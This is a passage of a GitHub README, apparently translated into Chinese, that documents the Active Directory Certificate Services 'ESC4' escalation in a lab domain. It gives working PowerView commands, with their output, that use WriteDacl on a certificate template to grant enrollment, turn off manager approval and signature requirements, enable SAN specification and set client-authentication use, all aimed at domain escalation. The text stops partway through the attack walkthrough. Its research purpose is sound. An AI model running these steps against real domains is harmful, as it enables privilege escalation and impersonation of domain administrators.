daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates

GitHub: daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates

Stars: 130 | Forks: 17

# 滥用证书模板上的弱 ACL ## 目录 + [摘要](#abstract) + [易受攻击的模板设置](#vulnerable-template-setting) + [枚举证书模板对象](#enumerating-certificate-template-objects) + [用于域提权的可利用域对象属性](#exploitable-domain-object-attributes-for-domain-escalation) + [滥用 WriteDacl ACE](#abusing-writedacl-ace) + [步骤](#procedure) + [获取注册权限](#getting-enrollment-right) + [禁用管理员批准要求](#disabling-manager-approval-requirement) + [禁用授权签名要求](#disabling-authorized-signature-requirement) + [启用 SAN 指定](#enabling-san-specification) + [编辑证书应用程序策略扩展](#editting-certificate-application-policy-extension) + [域提权](#domain-escalation) + [缓解措施](#mitigation) + [结论](#conclusion) + [致谢](#acknowledgments) ## 摘要 在 Black Hat USA 2021 上,Will Schroeder ([@harmj0y](https://twitter.com/harmj0y)) 和 Lee Christensen ([@tifkin_](https://twitter.com/tifkin_)) 发表了关于 Active Directory 证书服务攻击面的演讲(["Certified Pre-Owned: Abusing Active Directory Certificate Services"](https://posts.specterops.io/certified-pre-owned-d95910965cd2))。 [白皮书](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)中包含许多技术细节。 白皮书提到具有弱 ACL 的证书模板可能导致域提权,但没有关于具体步骤的技术细节。 因此,我在本文中总结了我对具有弱 ACL 的证书模板的调查。 ## 易受攻击的模板设置 如前所述,具有弱 ACL 的证书模板可能导致域提权。 白皮书将“ESC4”分配给此攻击向量作为标识符。 为了测试域提权方法,我们通过复制“Basic EFS”模板(将其命名为“ESC4”)创建了一个易受攻击的证书模板。 模板设置如下: + 启用管理员批准要求 + 需要授权签名才能颁发证书 + 无法在请求中提供使用者名称 + 为证书应用程序策略扩展设置“加密文件系统” 这些设置旨在防止域提权和横向移动。 但是,如果低特权用户帐户对此模板拥有 WriteDacl,则可以打破这些限制,攻击者可以利用它进行域提权。 例如,在本文中,__我们将目标证书模板的 WriteDacl 权限分配给“Domain Users”__: ![ace](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/55d9d50ead220711.png) 起初,“Domain Users”除了 WriteDacl 之外没有设置任何其他权限,因此“Domain Users”无法使用目标证书模板注册证书。 在本文中,我们将仅利用 WriteDacl 权限来检查使用证书模板的域提权技术。 ## 枚举证书模板对象 要枚举证书模板的域对象,我们可以使用 PowerView 或 PowerShell 原生 cmdlet。 如果要在没有 PowerView 的情况下枚举证书模板的域对象,请执行以下 cmdlet: ``` PS C:\Tools> $ds = New-Object DirectoryServices.DirectorySearcher PS C:\Tools> $ds.SearchRoot = "LDAP://CN=Configuration,DC=contoso,DC=local" PS C:\Tools> $ds.Filter = "(objectclass=pkicertificatetemplate)" PS C:\Tools> $ds.FindAll().Properties Name Value ---- ----- objectcategory {CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,DC=contoso,DC=local} pkidefaultcsps {2,Microsoft Base Cryptographic Provider v1.0, 1,Microsoft Enhanced Cryptographic Pro... pkidefaultkeyspec {1} pkimaxissuingdepth {0} usnchanged {12930} instancetype {4} flags {66106} pkikeyusage {160 0} name {User} pkicriticalextensions {2.5.29.15} showinadvancedviewonly {True} objectclass {top, pKICertificateTemplate} pkiextendedkeyusage {1.3.6.1.4.1.311.10.3.4, 1.3.6.1.5.5.7.3.4, 1.3.6.1.5.5.7.3.2} pkioverlapperiod {0 128 166 10 255 222 255 255} usncreated {12930} dscorepropagationdata {1/1/1601 12:00:00 AM} mspki-template-minor-revision {1} whencreated {9/12/2021 11:32:35 AM} adspath {LDAP://CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Config... mspki-cert-template-oid {1.3.6.1.4.1.311.21.8.15030743.11787675.8208785.16745297.429065.235.1.1} cn {User} mspki-enrollment-flag {41} whenchanged {9/12/2021 11:32:35 AM} mspki-template-schema-version {1} mspki-certificate-name-flag {-1509949440} mspki-minimal-key-size {2048} distinguishedname {CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration... pkiexpirationperiod {0 64 57 135 46 225 254 255} mspki-ra-signature {0} mspki-private-key-flag {16} displayname {User} objectguid {150 169 93 171 72 38 114 76 163 123 198 245 240 170 84 45} revision {3} --snip-- ``` 如果您使用 PowerView,请执行 `Get-DomainObject` 函数: ``` PS C:\Tools> Get-DomainObject -SearchBase "CN=Configuration,DC=contoso,DC=local" -LDAPFilter "(objectclass=pkicertificatetemplate)" mspki-enrollment-flag : 41 mspki-certificate-name-flag : -1509949440 pkidefaultcsps : {2,Microsoft Base Cryptographic Provider v1.0, 1,Microsoft Enhanced Cryptographic Provider v1.0} distinguishedname : CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local pkidefaultkeyspec : 1 objectclass : {top, pKICertificateTemplate} displayname : User name : User pkiextendedkeyusage : {1.3.6.1.4.1.311.10.3.4, 1.3.6.1.5.5.7.3.4, 1.3.6.1.5.5.7.3.2} showinadvancedviewonly : True cn : User flags : 66106 whenchanged : 9/12/2021 11:32:35 AM instancetype : 4 usncreated : 12930 objectguid : ab5da996-2648-4c72-a37b-c6f5f0aa542d mspki-ra-signature : 0 mspki-cert-template-oid : 1.3.6.1.4.1.311.21.8.15030743.11787675.8208785.16745297.429065.235.1.1 pkimaxissuingdepth : 0 objectcategory : CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,DC=contoso,DC=local dscorepropagationdata : 1/1/1601 12:00:00 AM mspki-minimal-key-size : 2048 mspki-private-key-flag : 16 pkikeyusage : {160, 0} revision : 3 pkiexpirationperiod : {0, 64, 57, 135...} usnchanged : 12930 whencreated : 9/12/2021 11:32:35 AM mspki-template-schema-version : 1 pkioverlapperiod : {0, 128, 166, 10...} mspki-template-minor-revision : 1 pkicriticalextensions : 2.5.29.15 --snip-- ``` 此外,可以使用 `Get-DomainObjectAcl` 函数按如下方式查找具有弱 ACL 的易受攻击证书模板: ``` PS C:\Tools> Get-DomainObjectAcl -SearchBase "CN=Configuration,DC=contoso,DC=local" -LDAPFilter "(objectclass=pkicertificatetemplate)" -ResolveGUIDs | %{ $_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_ } | ?{ $_.Identity -match "Domain Users" } --snip-- AceType : AccessAllowed ObjectDN : CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local ActiveDirectoryRights : WriteProperty, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-3654360273-254804765-2004310818-513 AccessMask : 786464 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed Identity : CONTOSO\Domain Users --snip-- ``` 我们可以确认“Domain Users”组成员对 ESC4 模板拥有 WriteDacl。 也可以使用 GhostPack 的 [`Certify.exe`](https://github.com/GhostPack/Certify) 获得此结果: ``` C:\Tools>Certify.exe find /vulnerable _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Find certificate templates [*] Using the search base 'CN=Configuration,DC=contoso,DC=local' [*] Listing info about the Enterprise CA 'contoso-CA01-CA' Enterprise CA Name : contoso-CA01-CA DNS Hostname : CA01.contoso.local FullName : CA01.contoso.local\contoso-CA01-CA Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=contoso-CA01-CA, DC=contoso, DC=local Cert Thumbprint : A6A520632FBFE64686B184E62D56E9E27A3CA5AA Cert Serial : 38706A5FBAA1B2B442FFD08A6E2341E3 Cert Start Date : 9/12/2021 4:22:34 AM Cert End Date : 9/12/2026 4:32:34 AM Cert Chain : CN=contoso-CA01-CA,DC=contoso,DC=local UserSpecifiedSAN : Disabled CA Permissions : Owner: BUILTIN\Administrators S-1-5-32-544 Access Rights Principal Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11 Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544 Allow ManageCA, ManageCertificates CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 Allow ManageCA, ManageCertificates CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 Enrollment Agent Restrictions : None [!] Vulnerable Certificates Templates : CA Name : CA01.contoso.local\contoso-CA01-CA Template Name : ESC4 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PEND_ALL_REQUESTS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 1 Application Policies : Encrypting File System pkiextendedkeyusage : Encrypting File System Permissions Enrollment Permissions Enrollment Rights : CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 Object Control Permissions Owner : CONTOSO\Administrator S-1-5-21-3654360273-254804765-2004310818-500 WriteOwner Principals : CONTOSO\Administrator S-1-5-21-3654360273-254804765-2004310818-500 CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Domain Users S-1-5-21-3654360273-254804765-2004310818-513 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 WriteDacl Principals : CONTOSO\Administrator S-1-5-21-3654360273-254804765-2004310818-500 CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Domain Users S-1-5-21-3654360273-254804765-2004310818-513 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 WriteProperty Principals : CONTOSO\Administrator S-1-5-21-3654360273-254804765-2004310818-500 CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Domain Users S-1-5-21-3654360273-254804765-2004310818-513 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 Certify completed in 00:00:00.3047464 C:\Tools> ``` ## 用于域提权的可利用域对象属性 使用 PowerView,我们可以按如下方式枚举易受攻击的模板对象属性: ``` PS C:\Tools> Get-DomainObject -SearchBase "CN=Configuration,DC=contoso,DC=local" -LDAPFilter "(objectclass=pkicertificatetemplate)" -Identity ESC4 mspki-enrollment-flag : 43 mspki-certificate-name-flag : -2113929216 pkidefaultcsps : 1,Microsoft Enhanced Cryptographic Provider v1.0 distinguishedname : CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local pkidefaultkeyspec : 1 objectclass : {top, pKICertificateTemplate} displayname : ESC4 name : ESC4 mspki-certificate-application-policy : 1.3.6.1.4.1.311.10.3.4 pkiextendedkeyusage : 1.3.6.1.4.1.311.10.3.4 showinadvancedviewonly : True cn : ESC4 flags : 131640 whenchanged : 10/1/2021 4:58:55 AM instancetype : 4 usncreated : 49238 objectguid : 88ea6142-28af-4b2d-99a8-bd9d10bc53ba mspki-ra-signature : 1 mspki-cert-template-oid : 1.3.6.1.4.1.311.21.8.15030743.11787675.8208785.16745297.429065.235.12902112.1610 0058 pkimaxissuingdepth : 0 objectcategory : CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,DC=contoso,DC=local dscorepropagationdata : {10/1/2021 4:58:41 AM, 1/1/1601 12:00:00 AM} mspki-minimal-key-size : 2048 mspki-private-key-flag : 16842768 pkikeyusage : {32, 0} revision : 100 pkiexpirationperiod : {0, 64, 57, 135...} usnchanged : 49242 whencreated : 10/1/2021 4:57:23 AM mspki-template-schema-version : 2 pkioverlapperiod : {0, 128, 166, 10...} mspki-template-minor-revision : 4 pkicriticalextensions : 2.5.29.15 mspki-ra-application-policies : 1.3.6.1.4.1.311.10.3.4 PS C:\Tools> ``` 属性很多,但对域提权重要的属性并不多。重要的属性如下: + __`mspki-enrollment-flag`__:根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1),此属性指定注册标志。如果我们成功禁用 `PEND_ALL_REQUESTS` 标志,我们可以在没有管理员批准的情况下请求模板。在 GUI 中,可以通过在“Issuance Requirements”选项卡中选中“CA manager approval”复选框来启用此属性。 + __`mspki-ra-signature`__:根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/160d0057-bfa9-46c5-a839-72e7588f0420),此属性指定颁发证书所需的授权签名数量。在 GUI 中,可以通过在“Issuance Requirements”选项卡中选中“This number of authorized signatures”复选框并设置数字来控制此属性。 + __`mspki-certificate-name-flag`__:根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1),此属性指定使用者名称标志。如果我们成功启用 `ENROLLEE_SUPPLIES_SUBJECT` 标志,我们可以在证书请求中指定任意用户帐户使用者可选名称 (SAN) 并获得高域特权。在 GUI 中,可以通过在“Subject Name”选项卡中选择“Supplly in the request”来启用此属性。 + __`mspki-certificate-application-policy`__:根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/44012f2d-5ef3-440d-a61b-b30d3d978130),此属性指定证书应用程序策略扩展。在 GUI 中,可以通过在“Extensions”选项卡中设置“Application Policies”来控制此属性。 + __`pkiextendedkeyusage`__:根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/be8af2e6-01d8-49a5-bacf-be641041ac73),此属性指定增强密钥用法 (EKU)。 + __`mspki-ra-application-policies`__:根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/3fe798de-6252-4350-aace-f418603ddeda),此属性封装用于多用途的嵌入属性。在 GUI 中,可以通过在“Issuance Requirements”选项卡中选中“This number of authorized signatures”复选框并选择“Application Policy”菜单来控制此属性。`Certify.exe` 将此属性显示为 `Application Policies`。 下图显示了属性与菜单之间的关系: ![attributes-1](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/08e8d55022220717.png) ![attributes-2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/95dcc7168e220718.png) ![attributes-3](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/a1b9e39c41220720.png) ## 滥用 WriteDacl ACE ### 步骤 要进行域提权,请按照以下步骤滥用 WriteDacl: 1. 获取易受攻击模板 (ESC4) 的注册权限 2. 在 `mspki-enrollment-flag` 中禁用 `PEND_ALL_REQUESTS` 标志以禁用管理员批准 3. 将 `mspki-ra-signature` 属性设置为 `0` 以禁用授权签名要求 4. 在 `mspki-certificate-name-flag` 中启用 `ENROLLEE_SUPPLIES_SUBJECT` 标志,以便将高特权帐户名称指定为 SAN 5. 将 `mspki-certificate-application-policy` 设置为用于身份验证的证书用途 6. 请求高特权证书进行身份验证并执行 Pass-The-Ticket 攻击 我们不应该编辑 `pkiextendedkeyusage` 属性和 `mspki-ra-application-policies` 属性吗? 据我测试,这不是必需的。 这是因为如果 `mspki-certificate-application-policy`、`pkiextendedkeyusage` 和 `mspki-ra-application-policies` 不匹配,则 `mspki-certificate-application-policy` 在证书使用中优先。 因此,对于域提权,在这种情况下您只需要编辑 `mspki-certificate-application-policy` 即可滥用易受攻击的证书。 ### 获取注册权限 现在我们只有 ESC4 模板的 WriteDacl,无法注册该模板。 通常,证书模板有 2 个扩展权限: + __`Certificate-Enrollment`__:此扩展权限对应“Enroll”权限。根据 [Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/adschema/r-certificate-enrollment),对应的 GUID 是 `0e10c968-78fb-11d2-90d4-00c04f79dc55`。 + __`Certificate-AutoEnrollment`__:此扩展权限对应“Autoenroll”权限。根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/ece0ab37-35bf-41d0-a30b-64f9a5792f59),对应的 GUID 是 `a05b8cc2-17bc-4802-a710-e7c15ab866a2`。 要获取模板的注册权限,我们需要将 `Certificate-Enrollment`(GUID:`0e10c968-78fb-11d2-90d4-00c04f79dc55`)扩展权限添加到目标证书。 我们可以通过 PowerView 的 `Add-DomainObjectAcl` 函数获取易受攻击模板 (ESC4) 的 `Certificate-Enrollment` 扩展权限,如下所示: ``` PS C:\Tools> Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.CONTOSO.LOCAL/DC=CONTOSO,DC=LOCAL VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=Domain Users)(name=Domain Users)(displayname=Domain Users)))) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.CONTOSO.LOCAL/CN=Configuration,DC=contoso,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=ESC4)(name=ESC4)(displayname=ESC4)))) VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Domain Users,CN=Users,DC=contoso,DC=local 'All' on CN=16436712.C9FC364DA743F327A81BD9832F3BBFD3,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Domain Users,CN=Users,DC=contoso,DC=local rights GUID '0e10c968-78fb-11d2-90d4-00c04f79dc55' on CN=16436712.C9FC364DA743F327A81BD9832F3BBFD3,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local VERBOSE: [Add-DomainObjectAcl] Error granting principal CN=Domain Users,CN=Users,DC=contoso,DC=local 'All' on CN=16436712.C9FC364DA743F327A81BD9832F3BBFD3,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local : Exception calling "CommitChanges" with "0" argument(s): "Access is denied. " VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Domain Users,CN=Users,DC=contoso,DC=local 'All' on CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Domain Users,CN=Users,DC=contoso,DC=local rights GUID '0e10c968-78fb-11d2-90d4-00c04f79dc55' on CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local PS C:\Tools> ``` 可以使用 `Certify.exe` 等验证结果: ``` C:\Tools>Certify.exe find /vulnerable --snip-- [!] Vulnerable Certificates Templates : CA Name : CA01.contoso.local\contoso-CA01-CA Template Name : ESC4 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PEND_ALL_REQUESTS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 1 Application Policies : Encrypting File System pkiextendedkeyusage : Encrypting File System Permissions Enrollment Permissions Enrollment Rights : CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Domain Users S-1-5-21-3654360273-254804765-2004310818-513 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 --snip-- ``` 现在我们获得了易受攻击证书的注册权限。 ### 禁用管理员批准要求 颁发证书还有一个障碍。 要被动使用目标模板获取证书,我们需要禁用管理员批准要求。 要禁用管理员批准要求,我们需要将 `mspki-enrollment-flag` 属性中的 `PEND_ALL_REQUESTS` 标志位设置为 null。 根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1),`PEND_ALL_REQUESTS` 标志位是 `0x00000002`。 滥用 WriteDacl,我们可以通过 PowerView 的 `Set-DomainObject` 函数将 `PEND_ALL_REQUESTS` 标志位设置为 null: ``` PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.CONTOSO.LOCAL/CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=ESC4)(name=ESC4)(displayname=ESC4)))) VERBOSE: [Set-DomainObject] XORing 'mspki-enrollment-flag' with '2' for object '' PS C:\Tools> ``` 为避免复杂情况,最好使用 `-XOR` 选项而不是 `-Set` 选项来编辑标志,如上所示。 我们可以通过执行相同的命令来恢复设置。 可以使用 `Certify.exe` 等验证结果: ``` C:\Tools>Certify.exe find /vulnerable --snip-- [!] Vulnerable Certificates Templates : CA Name : CA01.contoso.local\contoso-CA01-CA Template Name : ESC4 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 1 Application Policies : Encrypting File System pkiextendedkeyusage : Encrypting File System Permissions Enrollment Permissions Enrollment Rights : CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Domain Users S-1-5-21-3654360273-254804765-2004310818-513 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 --snip-- ``` `mspki-enrollment-flag` 中没有 `PEND_ALL_REQUESTS`。 现在我们可以在没有管理员批准的情况下使用 ESC4 模板颁发证书。 ### 禁用授权签名要求 授权签名要求阻止未经授权的证书颁发。 因此,要使用易受攻击的证书模板颁发证书,我们需要绕过此要求。 如果我们对目标证书模板拥有 WriteDacl,我们可以通过将授权签名数量设置为 `0` 来禁用此要求。 证书模板的授权签名数量用 `mspki-ra-signature` 指定。 滥用 WriteDacl,我们可以通过 PowerView 的 `Set-DomainObject` 函数将 `mspki-ra-signature` 属性设置为 `0`: ``` PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.CONTOSO.LOCAL/CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=ESC4)(name=ESC4)(displayname=ESC4)))) VERBOSE: [Set-DomainObject] Setting 'mspki-ra-signature' to '0' for object '' PS C:\Tools> ``` 可以使用 `Certify.exe` 等验证结果: ``` C:\Tools>Certify.exe find /vulnerable --snip-- [!] Vulnerable Certificates Templates : CA Name : CA01.contoso.local\contoso-CA01-CA Template Name : ESC4 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 Application Policies : Encrypting File System pkiextendedkeyusage : Encrypting File System Permissions Enrollment Permissions Enrollment Rights : CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Domain Users S-1-5-21-3654360273-254804765-2004310818-513 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 --snip-- ``` `Authorized Signatures Required` 为 `0`。 现在我们可以在没有任何授权签名的情况下使用 ESC4 模板颁发证书。 ### 启用 SAN 指定 与管理员批准要求类似,SAN 设置可以通过 `mspki-certificate-name-flag` 属性中的标志位进行控制。 根据 [Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1),`ENROLLEE_SUPPLIES_SUBJECT` 标志位是 `0x00000001`。 因此,滥用 WriteDacl,我们可以通过 PowerView 的 `Set-DomainObject` 函数设置 `ENROLLEE_SUPPLIES_SUBJECT` 标志位: ``` PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.CONTOSO.LOCAL/CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=ESC4)(name=ESC4)(displayname=ESC4)))) VERBOSE: [Set-DomainObject] XORing 'mspki-certificate-name-flag' with '1' for object '' PS C:\Tools> ``` 为避免复杂情况,最好使用 `-XOR` 选项而不是 `-Set` 选项来编辑标志,如上所示。 我们可以通过执行相同的命令来恢复设置。 可以使用 `Certify.exe` 等验证结果: ``` C:\Tools>Certify.exe find /vulnerable --snip-- [!] Vulnerable Certificates Templates : CA Name : CA01.contoso.local\contoso-CA01-CA Template Name : ESC4 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT, SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 Application Policies : Encrypting File System pkiextendedkeyusage : Encrypting File System Permissions Enrollment Permissions Enrollment Rights : CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Domain Users S-1-5-21-3654360273-254804765-2004310818-513 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 --snip-- ``` `ENROLLEE_SUPPLIES_SUBJECT` 出现在 `msPKI-Certificates-Name-Flag` 中,因此现在我们可以在 ESC4 模板中将任何用户名指定为 SAN。 #### 编辑证书应用程序策略扩展 为域提权设置易受攻击模板的最后一步是更改证书应用程序策略扩展。 如前所述,证书应用程序策略扩展用 `mspki-certificate-application-policy` 属性指定。 对于身份验证,可以使用以下密钥用法: + 客户端身份验证 (OID: `1.3.6.1.5.5.7.3.2`) + 智能卡登录 (OID: `1.3.6.1.4.1.311.20.2.2`) + PKINIT 客户端身份验证 (OID: `1.3.6.1.5.2.3.4`) + 任何用途 (OID: `2.5.29.37.0`) + 无 EKU 在本文中,我们将证书应用程序策略扩展设置为“客户端身份验证”。 滥用 WriteDacl,我们可以通过 PowerView 的 `Set-DomainObject` 函数实现这一点,如下所示: ``` PS C:\Tools> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.CONTOSO.LOCAL/CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=ESC4)(name=ESC4)(displayname=ESC4)))) VERBOSE: [Set-DomainObject] Setting 'mspki-certificate-application-policy' to '1.3.6.1.5.5.7.3.2' for object '' PS C:\Tools> ``` `Certify.exe` 的输出如下: ``` C:\Tools>Certify.exe find /vulnerable --snip-- [!] Vulnerable Certificates Templates : CA Name : CA01.contoso.local\contoso-CA01-CA Template Name : ESC4 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT, SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 Application Policies : Encrypting File System pkiextendedkeyusage : Encrypting File System Permissions Enrollment Permissions Enrollment Rights : CONTOSO\Domain Admins S-1-5-21-3654360273-254804765-2004310818-512 CONTOSO\Domain Users S-1-5-21-3654360273-254804765-2004310818-513 CONTOSO\Enterprise Admins S-1-5-21-3654360273-254804765-2004310818-519 --snip-- ``` 在 `Certify.exe` 的输出中,`pkiextendedkeyusage` 和“Application Policies”(`mspki-ra-application-policies`) 仍然是“Encrypting File System”,但没有问题。 如前所述,`mspki-certificate-application-policy` 优先于 `pkiextendedkeyusage` 和 `mspki-ra-application-policies`,但在撰写本文时发布的 `Certify.exe` 的输出中不显示 `mspki-certificate-application-policy` 属性。 要确认结果,我们可以使用 PowerView 中的 `Get-DomainObject` 函数或带有 PowerShell 的 `DirectoryServices.DirectorySearcher` 对象: ``` PS C:\Tools> Get-DomainObject -SearchBase "CN=Configuration,DC=contoso,DC=local" -LDAPFilter "(objectclass=pkicertificatetemplate)" -Identity ESC4 mspki-enrollment-flag : 41 mspki-certificate-name-flag : -2113929215 pkidefaultcsps : 1,Microsoft Enhanced Cryptographic Provider v1.0 distinguishedname : CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local pkidefaultkeyspec : 1 objectclass : {top, 